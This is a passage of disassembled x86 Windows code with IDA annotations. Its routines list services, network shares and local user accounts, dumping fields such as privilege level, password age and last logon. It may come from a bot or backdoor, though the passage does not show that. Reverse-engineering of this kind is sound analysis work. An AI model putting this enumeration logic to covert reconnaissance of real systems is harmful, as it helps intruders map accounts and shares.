mov ecx, eax
sub ecx, 41Ch
jz short loc_418885
dec ecx
jz short loc_41887E
dec ecx
jz short loc_418877
dec ecx
jnz loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418877: ; CODE XREF: sub_4187DE+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_41887E: ; CODE XREF: sub_4187DE+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_418885: ; CODE XREF: sub_4187DE+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_41888C: ; CODE XREF: sub_4187DE+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_418893: ; CODE XREF: sub_4187DE+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
jz short loc_4188F6
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_41894A[ecx]
jmp off_418922[ecx*4] ; switch jump
loc_4188B7: ; DATA XREF: ___:off_418922o
push offset aTheSpecifiedDa ; jumptable 004188B0 case 7
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188BE: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceDepe ; jumptable 004188B0 case 17
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188C5: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceDe_0 ; jumptable 004188B0 case 10
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188CC: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceHasB ; jumptable 004188B0 case 0
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188D3: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheSpecified_0 ; jumptable 004188B0 case 2
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188DA: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceCoul ; jumptable 004188B0 case 11
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188E1: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceHa_0 ; jumptable 004188B0 case 14
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188E8: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheRequested_1 ; jumptable 004188B0 case 3
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188EF: ; CODE XREF: sub_4187DE+D2j
; DATA XREF: ___:off_418922o
push offset aTheServiceHasN ; jumptable 004188B0 case 4
jmp short loc_4188FB
; ---------------------------------------------------------------------------
loc_4188F6: ; CODE XREF: sub_4187DE+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4188FB: ; CODE XREF: sub_4187DE+41j
; sub_4187DE+4Bj ...
push offset dword_4DB010
call sub_41B886
pop ecx
pop ecx
jmp short loc_41891C
; ---------------------------------------------------------------------------
loc_418909: ; CODE XREF: sub_4187DE+36j
; sub_4187DE+89j ...
push eax ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB010
call sub_41B886
add esp, 0Ch
loc_41891C: ; CODE XREF: sub_4187DE+129j
mov eax, offset dword_4DB010
retn
sub_4187DE endp
; ---------------------------------------------------------------------------
off_418922 dd offset loc_4188CC ; DATA XREF: sub_4187DE+D2r
dd offset loc_4188D3 ; jump table for switch statement
dd offset loc_4188E8
dd offset loc_4188EF
dd offset loc_4188B7
dd offset loc_4188C5
dd offset loc_4188DA
dd offset loc_4188E1
dd offset loc_4188BE
dd offset loc_418909
byte_41894A db 0, 9, 1, 2 ; DATA XREF: sub_4187DE+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41895C proc near ; CODE XREF: sub_401ACD+45D4p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB648
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_418994: ; CODE XREF: sub_41895C+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB614
test eax, eax
jnz short loc_4189CE
call near ptr 2680ABEh
nop
cmp eax, 0EAh
jnz loc_418A82
loc_4189CE: ; CODE XREF: sub_41895C+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418A79
lea esi, [ebp+var_188]
loc_4189DF: ; CODE XREF: sub_41895C+117j
mov eax, [esi+8]
dec eax
jz short loc_418A28
dec eax
jz short loc_418A21
dec eax
jz short loc_418A1A
dec eax
jz short loc_418A13
dec eax
jz short loc_418A0C
dec eax
jz short loc_418A05
dec eax
jz short loc_4189FE
push offset aUnknown_0 ; " Unknown"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_4189FE: ; CODE XREF: sub_41895C+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A05: ; CODE XREF: sub_41895C+96j
push offset aPausing ; " Pausing"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A0C: ; CODE XREF: sub_41895C+93j
push offset aContinuing ; " Continuing"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A13: ; CODE XREF: sub_41895C+90j
push offset aRunning ; " Running"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A1A: ; CODE XREF: sub_41895C+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A21: ; CODE XREF: sub_41895C+8Aj
push offset aStarting ; " Starting"
jmp short loc_418A2D
; ---------------------------------------------------------------------------
loc_418A28: ; CODE XREF: sub_41895C+87j
push offset aStopped ; " Stopped"
loc_418A2D: ; CODE XREF: sub_41895C+A0j
; sub_41895C+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4189DF
loc_418A79: ; CODE XREF: sub_41895C+77j
cmp [ebp+var_8], ebx
jnz loc_418994
loc_418A82: ; CODE XREF: sub_41895C+6Cj
push [ebp+var_C]
call dword_4CB54C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_41895C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A99 proc near ; CODE XREF: sub_401ACD:loc_406167p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_418B33
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418AC2
dec eax
jnz short loc_418B13
push edi
push 0
call sub_418C6C
pop ecx
pop ecx
jmp short loc_418B0F
; ---------------------------------------------------------------------------
loc_418AC2: ; CODE XREF: sub_418A99+18j
cmp [ebp+arg_8], 0
jnz short loc_418B01
push 24h
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_418B01
push 57h
pop eax
loc_418AD9: ; CODE XREF: sub_418A99+78j
push eax
call sub_419460
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB2CC
push off_439090[eax*4]
push offset unk_43973C
push esi
call sub_41B886
add esp, 14h
jmp short loc_418B53
; ---------------------------------------------------------------------------
loc_418B01: ; CODE XREF: sub_418A99+2Dj
; sub_418A99+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418BC0
add esp, 0Ch
loc_418B0F: ; CODE XREF: sub_418A99+27j
test eax, eax
jnz short loc_418AD9
loc_418B13: ; CODE XREF: sub_418A99+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB2CC
push off_439094[eax*4]
push offset dword_439720
push esi
call sub_41B886
add esp, 10h
jmp short loc_418B53
; ---------------------------------------------------------------------------
loc_418B33: ; CODE XREF: sub_418A99+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB2CC
lea eax, [eax+eax*2]
push off_439090[eax*4]
push offset unk_4396FC
push esi
call sub_41B886
add esp, 0Ch
loc_418B53: ; CODE XREF: sub_418A99+66j
; sub_418A99+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418A99 endp
; =============== S U B R O U T I N E =======================================
sub_418B59 proc near ; CODE XREF: sub_419E7A+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_418B66
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_418B66: ; CODE XREF: sub_418B59+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_42717C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DB4CC, 1
mov ebp, eax
jnz short loc_418BA3
or byte_4DB4CC, 1
lea eax, [ebp+1]
push eax
call sub_41CFC5
pop ecx
mov dword_4DB26C, eax
loc_418BA3: ; CODE XREF: sub_418B59+32j
push esi
push esi
push ebp
push dword_4DB26C
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DB26C
pop edi
pop ebp
pop ebx
pop esi
retn
sub_418B59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BC0 proc near ; CODE XREF: sub_418A99+6Ep
; sub_41A19E+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov edi, eax
call sub_418C2B
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41BFB0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_418C2B
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB548
pop edi
leave
retn
sub_418BC0 endp
; =============== S U B R O U T I N E =======================================
sub_418C2B proc near ; CODE XREF: sub_418BC0+Ap
; sub_418BC0+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_418C38
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418C38: ; CODE XREF: sub_418C2B+9j
push ebx
push esi
mov esi, dword_427180
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41CFC5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_418C2B endp
; =============== S U B R O U T I N E =======================================
sub_418C6C proc near ; CODE XREF: sub_418A99+20p
; sub_419E7A+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2B
push [esp+8+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB520
pop esi
retn
sub_418C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C8F proc near ; CODE XREF: sub_401ACD+46B1p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_418C2B
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 18h
loc_418CC8: ; CODE XREF: sub_418C8F+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB598
mov ebx, eax
cmp ebx, esi
jz short loc_418D2B
cmp ebx, 0EAh
jz short loc_418D2B
push ebx
push ebx
call sub_419460
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439788
push eax
call sub_41B886
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 24h
jmp short loc_418D98
; ---------------------------------------------------------------------------
loc_418D2B: ; CODE XREF: sub_418C8F+5Dj
; sub_418C8F+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418D8F
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_418D39: ; CODE XREF: sub_418C8F+FCj
push dword ptr [esi+10h]
call dword_4CB53C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_418D50
mov eax, offset aNo ; "No"
loc_418D50: ; CODE XREF: sub_418C8F+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_418D39
xor esi, esi
loc_418D8F: ; CODE XREF: sub_418C8F+A2j
push [ebp+var_4]
call dword_4CB6E4
loc_418D98: ; CODE XREF: sub_418C8F+9Aj
cmp ebx, 0EAh
jz loc_418CC8
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DB0 proc near ; CODE XREF: sub_401ACD:loc_4061EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_418E55
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418DF2
dec eax
jz short loc_418DE7
dec eax
jnz short loc_418E0D
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_418EF7
add esp, 14h
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418DE7: ; CODE XREF: sub_418DB0+1Dj
push ebx
push edi
call sub_418ED6
pop ecx
pop ecx
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418DF2: ; CODE XREF: sub_418DB0+1Aj
cmp [ebp+arg_8], edi
jz short loc_418E06
push [ebp+arg_8]
push ebx
push edi
call sub_418E7C
add esp, 0Ch
jmp short loc_418E09
; ---------------------------------------------------------------------------
loc_418E06: ; CODE XREF: sub_418DB0+45j
push 57h
pop eax
loc_418E09: ; CODE XREF: sub_418DB0+35j
; sub_418DB0+40j ...
cmp eax, edi
jnz short loc_418E2D
loc_418E0D: ; CODE XREF: sub_418DB0+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB4D0
push off_439094[eax*4]
push offset unk_439840
push esi
call sub_41B886
add esp, 10h
jmp short loc_418E75
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418DB0+5Bj
push eax
call sub_419460
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB4D0
push off_439090[eax*4]
push offset unk_439810
push esi
call sub_41B886
add esp, 14h
jmp short loc_418E75
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418DB0+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB4D0
lea eax, [eax+eax*2]
push off_439090[eax*4]
push offset unk_4397E8
push esi
call sub_41B886
add esp, 0Ch
loc_418E75: ; CODE XREF: sub_418DB0+7Bj
; sub_418DB0+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E7C proc near ; CODE XREF: sub_418DB0+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov edi, eax
call sub_418C2B
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418C2B
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB52C
pop edi
leave
retn
sub_418E7C endp
; =============== S U B R O U T I N E =======================================
sub_418ED6 proc near ; CODE XREF: sub_418DB0+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418C2B
push [esp+8+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
push eax
push esi
call dword_4CB51C
pop esi
retn
sub_418ED6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF7 proc near ; CODE XREF: sub_418DB0+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418C2B
push [ebp+arg_4]
mov esi, eax
call sub_418C2B
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CB6AC
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41929F
mov eax, [ebp+var_4]
test eax, eax
jz loc_4192DA
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41B886
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419016
dec eax
jz short loc_41900F
dec eax
jz short loc_419008
mov eax, offset aUnknown ; "Unknown"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_419008: ; CODE XREF: sub_418EF7+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_41900F: ; CODE XREF: sub_418EF7+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_41901B
; ---------------------------------------------------------------------------
loc_419016: ; CODE XREF: sub_418EF7+102j
mov eax, offset aGuest ; "Guest"
loc_41901B: ; CODE XREF: sub_418EF7+10Fj
; sub_418EF7+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41B886
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409A73
add esp, 20h
pop edi
pop ebx
jmp short loc_4192CB
; ---------------------------------------------------------------------------
loc_41929F: ; CODE XREF: sub_418EF7+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439860
push eax
call sub_41B886
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409A73
add esp, 20h
loc_4192CB: ; CODE XREF: sub_418EF7+3A6j
cmp [ebp+var_4], 0
jz short loc_4192DA
push [ebp+var_4]
call dword_4CB6E4
loc_4192DA: ; CODE XREF: sub_418EF7+40j
; sub_418EF7+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_418EF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192E0 proc near ; CODE XREF: sub_401ACD+473Cp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418C2B
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 18h
loc_41931F: ; CODE XREF: sub_4192E0+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB5B4
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419380
cmp eax, 0EAh
jz short loc_419380
push eax
push eax
call sub_419460
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439A50
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 24h
jmp short loc_4193FB
; ---------------------------------------------------------------------------
loc_419380: ; CODE XREF: sub_4192E0+62j
; sub_4192E0+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940E
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FB
loc_419392: ; CODE XREF: sub_4192E0+EDj
cmp edi, esi
jz short loc_4193D1
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419392
jmp short loc_4193FB
; ---------------------------------------------------------------------------
loc_4193D1: ; CODE XREF: sub_4192E0+B4j
lea eax, [ebp+var_218]
push offset unk_439A1C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 1Ch
loc_4193FB: ; CODE XREF: sub_4192E0+9Ej
; sub_4192E0+B0j ...
